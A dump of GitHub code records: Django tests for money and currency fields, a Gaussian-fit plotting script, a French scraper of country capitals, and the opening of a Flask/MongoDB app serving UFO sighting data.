self.currency2)\n\n def test_init(self):\n \"\"\"Testing if __init__ is sufficiently intelligent.\"\"\"\n invalid = \"ZZZ\"\n self.assertRaisesRegexp(ValueError,\n 'Currency %s not defined.' % invalid,\n fields.Currency,\n invalid)\n self.assertRaisesRegexp(ValueError,\n 'Currency %s not defined.' % invalid,\n fields.Currency,\n code=invalid)\n\n def test_code_mapping(self):\n \"\"\"Testing if mapping code to name works\"\"\"\n self.currency = fields.Currency()\n self.name = str(self.currency)\n self.assertEqual(self.name, fields.CURRENCIES[fields.DEFAULT_CURRENCY][\"code\"])\n\n\nclass MoneyTest(TestCase):\n def test_init_without_currency(self):\n \"\"\"Testing if initialization without currency gives DEFAULT_CURRENCY.\"\"\"\n self.price = fields.Money(amount=3.14)\n self.currency = fields.Currency()\n self.assertEqual(self.price.currency, self.currency)\n\n def test_str(self):\n pass # TODO string conversion\n\n def test_equality(self):\n \"\"\"Testing if == works\"\"\"\n self.price1 = fields.Money(amount=3.14, currency=\"USD\")\n self.price2 = fields.Money(amount=3.14, currency=\"USD\")\n self.assertEqual(self.price1, self.price2)\n\n def test_inequality_amount(self):\n \"\"\"Testing if != works with differing amounts\"\"\"\n self.price1 = fields.Money(amount=3.14, currency=\"USD\")\n self.price2 = fields.Money(amount=4.14, currency=\"USD\")\n self.assertNotEqual(self.price1, self.price2)\n\n def test_inequality_currency(self):\n \"\"\"Testing if != works with differing currencies\"\"\"\n self.price1 = fields.Money(amount=3.14, currency=\"USD\")\n self.price2 = fields.Money(amount=3.14, currency=\"EUR\")\n self.assertNotEqual(self.price1, self.price2)\n\n def test_pos(self):\n \"\"\"Testing if __pos__ works\"\"\"\n amount = 100\n self.price1 = fields.Money(amount=amount)\n self.price2 = fields.Money(amount=amount)\n self.assertEqual(self.price1, +self.price2)\n\n def test_neg(self):\n \"\"\"Testing if __neg__ works\"\"\"\n amount = 100\n self.price1 = fields.Money(amount=amount)\n self.price2 = fields.Money(amount=-amount)\n self.assertEqual(self.price1, -self.price2)\n\n def test_add(self):\n \"\"\"Testing if __add__ works\"\"\"\n amount1 = Decimal(\"100.01\")\n amount2 = Decimal(\"20000000.01\")\n self.price1 = fields.Money(amount=amount1)\n self.price2 = fields.Money(amount=amount2)\n self.assertEqual(self.price1 + self.price2, fields.Money(amount1 + amount2))\n self.price3 = fields.Money()\n self.price3 += self.price1\n self.assertEqual(self.price3, self.price1)\n\n def test_sub(self):\n \"\"\"Testing if __sub__ works\"\"\"\n amount1 = Decimal(\"100.01\")\n amount2 = Decimal(\"20000000.01\")\n self.price1 = fields.Money(amount=amount1)\n self.price2 = fields.Money(amount=amount2)\n self.assertEqual(self.price1 - self.price2, fields.Money(amount1 - amount2))\n\n def test_mul(self):\n \"\"\"Testing if __mul__ works\"\"\"\n amount1 = Decimal(\"100.01\")\n self.price1 = fields.Money(amount=amount1)\n self.assertEqual(self.price1 * 100, fields.Money(amount1 * Decimal(100)))\n self.assertEqual(100.23 * self.price1, fields.Money(amount1 * Decimal(100.23)))\n\n def test_div(self):\n \"\"\"Testing if __div__ works\"\"\"\n amount1 = Decimal(\"100.01\")\n self.price1 = fields.Money(amount=amount1)\n self.assertEqual(self.price1 / \"100\", fields.Money(amount1 / Decimal(\"100\")))\n self.assertEqual(100.23 / self.price1, fields.Money(amount1 / Decimal(100.23)))\n\n def test_percentage(self):\n r\"\"\"Testing if percentage operator % works\"\"\"\n self.price = fields.Money(200)\n self.assertAlmostEqual(5 % self.price, fields.Money(amount=10))\n\n def test_float(self):\n \"\"\"Testing if casting to float works\"\"\"\n amount = 1000000.01\n self.price = fields.Money(amount=amount)\n self.assertAlmostEqual(float(self.price), amount)\n\n def test_lt(self):\n \"\"\"Testing if __lt__() works\"\"\"\n amount1 = Decimal(\"1\")\n amount2 = Decimal(\"2\")\n self.price1 = fields.Money(amount=amount1)\n self.price2 = fields.Money(amount=amount2)\n self.assertTrue(self.price1 < self.price2)\n\n def test_lt_different_currencies(self):\n \"\"\"Testing if __lt__() works with differing currencies\"\"\"\n def run_test(price1, price2):\n return price1 < price2\n\n amount = Decimal(\"1\")\n self.price1 = fields.Money(amount=amount, currency=\"USD\")\n self.price2 = fields.Money(amount=amount, currency=\"EUR\")\n self.assertRaisesRegexp(TypeError,\n 'Cannot compare Money with different currencies.',\n run_test,\n price1=self.price1, price2=self.price2)\n\n def test_gt(self):\n \"\"\"Testing if __gt__() works\"\"\"\n amount1 = Decimal(\"2\")\n amount2 = Decimal(\"1\")\n self.price1 = fields.Money(amount=amount1)\n self.price2 = fields.Money(amount=amount2)\n self.assertTrue(self.price1 > self.price2)\n\n def test_gt_different_currencies(self):\n \"\"\"Testing if __gt__() works with differing currencies\"\"\"\n def run_test(price1, price2):\n return price1 > price2\n\n amount = Decimal(\"1\")\n self.price1 = fields.Money(amount=amount, currency=\"USD\")\n self.price2 = fields.Money(amount=amount, currency=\"EUR\")\n self.assertRaisesRegexp(TypeError,\n 'Cannot compare Money with different currencies.',\n run_test,\n price1=self.price1, price2=self.price2)\n\n def test_le(self):\n \"\"\"Testing if __le__() works\"\"\"\n amount1 = Decimal(\"1\")\n amount2 = Decimal(\"2\")\n self.price1 = fields.Money(amount=amount1)\n self.price2 = fields.Money(amount=amount2)\n self.assertTrue(self.price1 <= self.price1)\n self.assertTrue(self.price1 <= self.price2)\n\n def test_ge(self):\n \"\"\"Testing if __ge__() works\"\"\"\n amount1 = Decimal(\"2\")\n amount2 = Decimal(\"1\")\n self.price1 = fields.Money(amount=amount1)\n self.price2 = fields.Money(amount=amount2)\n self.assertTrue(self.price1 >= self.price1)\n self.assertTrue(self.price1 >= self.price2)\n\n def test_hash(self):\n pass # TODO hashing\n\n\nclass MoneyFieldTest(TestCase):\n apps = (\"jimi.price.tests\",)\n\n def _pre_setup(self):\n # Add the models to the db.\n self._original_installed_apps = list(settings.INSTALLED_APPS)\n for app in self.apps:\n settings.INSTALLED_APPS += (app,)\n loading.cache.loaded = False\n call_command('syncdb', interactive=False, migrate=False, verbose=0)\n # Call the original method that does the fixtures etc.\n super(MoneyFieldTest, self)._pre_setup()\n\n def _post_teardown(self):\n # Call the original method.\n super(MoneyFieldTest, self)._post_teardown()\n # Restore the settings.\n settings.INSTALLED_APPS = self._original_installed_apps\n loading.cache.loaded = False\n\n def setUp(self):\n a = TestModel(ident=1, price=fields.Money(amount=\"11.11\", currency=\"USD\"))\n a.save()\n b = TestModel(ident=2, price=fields.Money(amount=\"200.02\", currency=\"USD\"))\n b.save()\n\n def test_filter_price(self):\n# res = TestModel.objects.get(price__gt=fields.Money(amount=100, currency=\"USD\"))\n res = TestModel.objects.filter(ident__exact=1)\n self.assertEqual(res[0].price, fields.Money(\"11.11\", \"USD\"))\n", "repo_name": "bhell/jimi", "sub_path": "jimi/jimi/price/tests/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 8519, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.test.TestCase", "line_number": 13, "usage_type": "name"}, {"api_name": "jimi.price.fields.Currency", "line_number": 16, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 16, "usage_type": "name"}, {"api_name": "jimi.price.fields.Currency", "line_number": 17, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 17, "usage_type": "name"}, {"api_name": "jimi.price.fields.DEFAULT_CURRENCY", "line_number": 17, "usage_type": "attribute"}, {"api_name": "jimi.price.fields.Currency", "line_number": 25, "usage_type": "attribute"}, {"api_name": "jimi.price.fields", "line_number": 25, "usage_type": "name"}, {"api_name": "jimi.price.fields.Currency", "line_number": 29, "usage_type": "attribute"}, {"api_name": "jimi.price.fields", "line_number": 29, "usage_type": "name"}, {"api_name": "jimi.price.fields.Currency", "line_number": 34, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 34, "usage_type": "name"}, {"api_name": "jimi.price.fields.CURRENCIES", "line_number": 36, "usage_type": "attribute"}, {"api_name": "jimi.price.fields", "line_number": 36, "usage_type": "name"}, {"api_name": "jimi.price.fields.DEFAULT_CURRENCY", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.test.TestCase", "line_number": 39, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 42, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 42, "usage_type": "name"}, {"api_name": "jimi.price.fields.Currency", "line_number": 43, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 43, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 51, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 51, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 52, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 52, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 57, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 57, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 58, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 58, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 63, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 63, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 64, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 64, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 70, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 70, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 71, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 71, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 77, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 77, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 78, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 78, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 83, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 84, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 85, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 85, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 86, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 86, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 87, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 87, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 88, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 88, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 94, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 95, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 96, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 96, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 97, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 97, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 98, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 98, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 102, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 103, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 103, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 104, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 104, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 104, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 105, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 105, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 105, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 109, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 110, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 110, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 111, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 111, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 111, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 112, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 112, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 112, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 116, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 116, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 117, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 117, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 122, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 122, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 127, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 128, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 129, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 129, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 130, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 130, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 138, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 139, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 139, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 140, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 140, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 148, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 149, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 150, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 150, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 151, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 151, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 159, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 160, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 160, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 161, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 161, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 169, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 170, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 171, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 171, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 172, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 172, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 178, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 179, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 180, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 180, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 181, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 181, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 189, "usage_type": "name"}, {"api_name": "django.conf.settings.INSTALLED_APPS", "line_number": 194, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 194, "usage_type": "name"}, {"api_name": "django.conf.settings.INSTALLED_APPS", "line_number": 196, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 196, "usage_type": "name"}, {"api_name": "django.db.models.loading.cache", "line_number": 197, "usage_type": "attribute"}, {"api_name": "django.db.models.loading", "line_number": 197, "usage_type": "name"}, {"api_name": "django.core.management.call_command", "line_number": 198, "usage_type": "call"}, {"api_name": "django.conf.settings.INSTALLED_APPS", "line_number": 206, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 206, "usage_type": "name"}, {"api_name": "django.db.models.loading.cache", "line_number": 207, "usage_type": "attribute"}, {"api_name": "django.db.models.loading", "line_number": 207, "usage_type": "name"}, {"api_name": "models.TestModel", "line_number": 210, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 210, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 210, "usage_type": "name"}, {"api_name": "models.TestModel", "line_number": 212, "usage_type": "call"}, {"api_name": "jimi.price.fields.Money", "line_number": 212, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 212, "usage_type": "name"}, {"api_name": "models.TestModel.objects.filter", "line_number": 217, "usage_type": "call"}, {"api_name": "models.TestModel.objects", "line_number": 217, "usage_type": "attribute"}, {"api_name": "models.TestModel", "line_number": 217, "usage_type": "name"}, {"api_name": "jimi.price.fields.Money", "line_number": 218, "usage_type": "call"}, {"api_name": "jimi.price.fields", "line_number": 218, "usage_type": "name"}]} {"seq_id": "35165973862", "text": "import numpy as np\nfrom scipy.stats import chisquare\nimport matplotlib.pyplot as plt\nfrom lmfit import Model\nfrom matplotlib import colors, ticker, cm\n\nfrom itertools import chain\nimport scipy.interpolate\n\n\ndef gaussian(x, amp, cen, wid):\n \"1-d gaussian: gaussian(x, amp, cen, wid)\"\n return (amp/(np.sqrt(2*np.pi)*wid)) * np.exp(-(x-cen)**2 /(2*wid**2))\n\n\ndef get_normed_histo(data, bins, rang):\n hist, bin_edges = np.histogram(data, bins, range=rang)\n hist = np.divide(hist, np.sum(hist))\n return hist, bin_edges\n\n\ndef get_gauss_fit(hist, edges):\n gmodel = Model(gaussian)\n result = gmodel.fit(hist, x=edges[:-1], amp=1, cen=0, wid=2)\n return result\n\n\nplt.style.use('./mythesis.mplstyle')\nrnge = [-1.5, 1.5]\nstp = 0.5\nrng_x = np.linspace(rnge[0], rnge[1], 7)\nxrange, yrange = np.meshgrid(rng_x, rng_x)\n\nwidth_xz = np.zeros(xrange.shape).flatten()\nidx = 0\ndz = 0\n\nrng_hist = [-4, 4]\nfor dx, dy in zip(xrange.flatten(), yrange.flatten()):\n frame = \"-x_{:.1f}\".format(dx) + \"_y_{:.1f}\".format(dz) + \"_z_{:.1f}\".format(dy)\n\n print(dx, dy, dz)\n df = np.load('output/cross_dist/dist{}.npz'.format(frame))\n\n dist_d = df['d']\n hist, bin_edges = get_normed_histo(dist_d, 2*20 + 1, rng_hist)\n result = get_gauss_fit(hist, bin_edges)\n\n # plotting individual histograms\n #plt.bar(bin_edges[:-1], hist, width=(bin_edges[1]-bin_edges[0]), label='full set')\n #plt.plot(bin_edges[:-1], result.best_fit, 'purple', label='best fit', alpha=0.5)\n #plt.show()\n\n amp = result.params['amp']\n cen = result.params['cen']\n wid = result.params['wid']\n print(result.redchi)\n width_xz[idx] = wid\n\n idx += 1\n del result\n\n\nwidth_xz = width_xz.reshape(xrange.shape)\nplt.contourf(xrange, yrange, width_xz, cmap=cm.viridis, interpolation='bicubic')\ncbar = plt.colorbar()\nplt.xlabel(\"$\\Delta x[cm]$\")\nplt.ylabel(\"$\\Delta z[cm]$\")\ncbar.set_label(\"width [cm]\")\n\nplt.show()\n", "repo_name": "maluethi/laser_plot", "sub_path": "plot_2dspread.py", "file_name": "plot_2dspread.py", "file_ext": "py", "file_size_in_byte": 1912, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.sqrt", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 18, "usage_type": "call"}, {"api_name": "lmfit.Model", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 28, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.cm.viridis", "line_number": 65, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}]} {"seq_id": "18555358426", "text": "'''\r\n\r\n\r\n Toute amelioration du spcrit sera la BIENVENU\r\n N'hesite a envoyer vos remaque a cette adresse kouyatosten@gmail.com\r\n \r\n description : ce script peut se diver en 2 partir\r\n\r\n - Recuperer des Donners\r\n - Formatage des Donners\r\n \r\n\r\n'''\r\n\r\n\r\nfrom json import dump\r\nfrom bs4 import BeautifulSoup as be\r\nfrom requests import get\r\n# from repertoire import effter ce module n'est pas encore disponible \r\nfrom optparse import OptionParser\r\nfrom threading import Thread\r\nfrom sys import argv\r\nfrom os.path import isfile\r\nfrom page import page\r\n\r\n\r\n\r\n# aller chercher les donner\r\ndef req():\r\n url = 'https://hors-frontieres.fr/liste-des-capitales-de-tous-les-pays-du-monde/'\r\n return get(url).text\r\n\r\n# recuperation de\r\ndef recu():\r\n r = req()\r\n b = be(r,features='html.parser')\r\n return b.findAll('td')\r\n\r\n\r\n'''\r\n\r\n formatage de donner recuperer sous la forme { pays : capital }\r\n\r\n'''\r\n\r\n\r\n# ajout des pays dans le dictionnaire\r\ndef addP():\r\n data = {}\r\n st = recu()\r\n for i in st:\r\n j = \"\"\r\n if int(i['width']) >= 200:\r\n data[i.text] = ''\r\n return data\r\n\r\n# ajout des capital dans le dictionnaire\r\ndef addC(af = False):\r\n n= 0\r\n data = addP();st = recu()\r\n for i,j in data.items():\r\n c = 0\r\n for z in st[n:]:\r\n c +=1\r\n if 150< int(z['width']) <= 200:\r\n data[i] = z.text.strip()\r\n n += c\r\n break\r\n if af== True: \r\n for i,j in data.items(): print(f'pays {i} | {j} capital')\r\n return data\r\n\r\n# enredistrement des donner dans un fichier json formatage = { pays : capital }\r\ndef enr(ch = False,format= ''):\r\n data = addC()\r\n if ch in [False,'false']: ch = 'data.'+format\r\n\r\n if format == 'json':\r\n with open(ch,\"w\") as file:\r\n dump(data,file)\r\n print(f'enregistrer dans le fichier \\\\{ch}')\r\n elif format == 'txt':\r\n with open(ch,\"w\") as file:\r\n for i,j in data.items(): file.write(f'{i}:{j}\\n')\r\n print(f'enregistrer dans le fichier \\\\{ch}')\r\n else:\r\n page(data,ch)\r\n\r\n\r\nname = 'main.py'\r\ninfo = f'''{\"mode d'emploi\":-^55}\r\n Usage : \r\n {name} -e (json/txt/html) format d'enregistrement des donner\r\n {name} -a affichage des donner (true/false)\r\n {name} -n nom du fichier d'enregistrement par defaut c'est data.json\r\n {name} -f forcer l'enregistrement dans un fichier exitant\r\n\r\n Exemple : {name} -e json -n index -f _\r\n {name} -a false -n data -f _\r\n {name} -e txt -a true -n enregistrement\r\n\r\n'''\r\ndef print_info():\r\n print(p.usage)\r\n exit()\r\n# parametrage des option\r\np = OptionParser(info)\r\np.add_option('-e',dest='erg',type='string',help='enregistrement json/txt')\r\np.add_option('-a',dest='af',type='string',help='affichage {pays : capital} ')\r\np.add_option('-n',dest='name',type='string',help='nom du fichier')\r\np.add_option('-f',dest='df',type='string',help='nom du fichier')\r\n\r\n# recuperation des option \r\nres,null = p.parse_args()\r\nerg, aff,name = res.erg,res.af,res.name\r\nforce = True if '-f' in argv else False\r\n\r\n# dispositif de preparation de l'option -a\r\nt = Thread(target=addC,args=[True])\r\ndef _a():\r\n t.start()\r\n t.join()\r\n\r\n# cet fonction permet de verifier si le nom du fichier indiquer existe\r\ndef veri_fch(name,erg):\r\n if name != False:\r\n if isfile(name+'.'+erg):\r\n\r\n if force == True:enr(ch=name+'.'+erg,format=erg)\r\n else:\r\n verifi = input(f'le fichier {name}.{erg} existe déja voulez vous le réecrire o/n ? ')\r\n enr(ch=name+'.'+erg,format=erg) if verifi.lower() == 'o' else print_info()\r\n else:enr(ch=name+'.'+erg,format=erg)\r\n else :\r\n if isfile('data.'+erg):\r\n\r\n if force == True:enr(ch=name+'.'+erg,format=erg)\r\n else:\r\n verifi = input(f'le data.{erg} existe déja voulez vous le réecrire o/n ? ')\r\n enr(format=erg) if verifi.lower() == 'o' else print_info()\r\n else:enr(format=erg)\r\n \r\n# ---------------------------traitement------------------------------------\r\ntry :\r\n if (name or erg or aff):\r\n\r\n erg = erg if type(erg) != type(None) else 'false' \r\n aff = aff if type(aff) != type(None) else 'false' \r\n name = name if type(name) != type(None) else False\r\n\r\n if erg.lower() in ['html','json','txt']:\r\n\r\n if aff.lower() =='true':\r\n\r\n if name != False:\r\n veri_fch(name,erg)\r\n _a()\r\n else:\r\n veri_fch('data',erg)\r\n _a()\r\n \r\n else: veri_fch(name,erg)\r\n\r\n else:\r\n if aff.lower() =='true':\r\n if name != False:\r\n veri_fch(name,erg = 'txt')\r\n _a()\r\n else: _a()\r\n else:\r\n if name != False: veri_fch(name,erg = 'txt')\r\n\r\n else :print_info()\r\n\r\nexcept : print('''Vous avez un probleme que faire D'abord\r\n - Verifier votre connection internet\r\n - Allons jetter un coup d'oeil a la documentation sur 'https://github.com/Tostenn/country_capital'\r\n - Si le probleme persiste n'hesite pas a me contacter a cette adresse kouyatosten@gmail.com\r\n''')\r\n ", "repo_name": "Tostenn/country_capital", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5363, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 36, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 80, "usage_type": "call"}, {"api_name": "page.page", "line_number": 87, "usage_type": "call"}, {"api_name": "optparse.OptionParser", "line_number": 107, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 116, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 135, "usage_type": "call"}]} {"seq_id": "41413412778", "text": "###########################################\n # DEPENDENCIES AND SETUP\n###########################################\nfrom flask import Flask, render_template, redirect, jsonify, request\nimport os\nimport requests\nimport json\nimport time\n# Import our pymongo library, which lets us connect our Flask app to our Mongo database.\nfrom flask_pymongo import pymongo\nimport pandas as pd\n# Importing \"starter.py\" which is used for loading data to mongodb\nimport starter\n\n##########################################\n # FLASK SETUP\n##########################################\n# Create an instance of our Flask app.\napp = Flask(__name__)\n\n##########################################\n # MONGO DB CONNECTION\n##########################################\n# Use flask_pymongo to set up mongo db connection\nconn = \"mongodb://localhost:27017\"\nclient = pymongo.MongoClient(conn)\nmongo = client.UFO\n\n#########################################\n # CREATING ROUTES USING FLASK\n#########################################\n\n\n# before_first_request_function\n# Registers a function to be run before the first request to this instance of the application.\n#The function will be called without any arguments and its return value is ignored.\n@app.before_first_request\ndef import_csvfile():\n starter\n \n\n\n\n@app.route(\"/\")\ndef index():\n # write a statement that finds all the items in the db and sets it to a variable\n\n\n# render an index.html template and pass it the data you retrieved from the database\n return render_template(\"index.html\")\n\n # Redirect back to home page\n return redirect(\"/\")\n\n\n\n@app.route(\"/alien_data\")\ndef data():\n alien_collection = mongo.db.alien_data.find({}).limit(3251)\n alien_data_json = []\n for json in alien_collection:\n alien_data_dict = {}\n alien_data_dict.update({\n \"state_long\": json[\"state_long\"],\n \"state_short\": json[\"state_short\"],\n \"city_state\": json[\"city_state\"],\n \"mj_legal\": json[\"mj_legal\"],\n \"lat\": json[\"lat\"],\n \"long\" : json[\"long\"],\n \"sighting_date\" : json[\"sighting_date\"]\n\n })\n\n alien_data_json.append(alien_data_dict)\n\n return jsonify(alien_data_json)\n\ntime.sleep(1)\n\n\n\n@app.route(\"/military\")\ndef military():\n military_basescollection = mongo.db.military_bases.find({}).limit(700)\n military_bases_json = []\n for json in military_basescollection:\n military_bases_dict = {}\n military_bases_dict.update({\n \"state_long\": json[\"state_long\"],\n \"state_short\": json[\"state_short\"],\n \"mil_base_name\" : json[\"mil_base_name\" ],\n \"component\" : json[\"component\"],\n \"lat\": json[\"lat\"],\n \"long\" : json[\"long\"],\n \"country\": json[\"country\"]\n })\n military_bases_json.append(military_bases_dict)\n return jsonify(military_bases_json)\n\n\n\n@app.route(\"/sightings\")\ndef sightings():\n sightings_collection = mongo.db.sightings_count.find({})\n sightings_json = []\n for json in sightings_collection:\n sightings_dict = {}\n sightings_dict.update({\n \"state_long\": 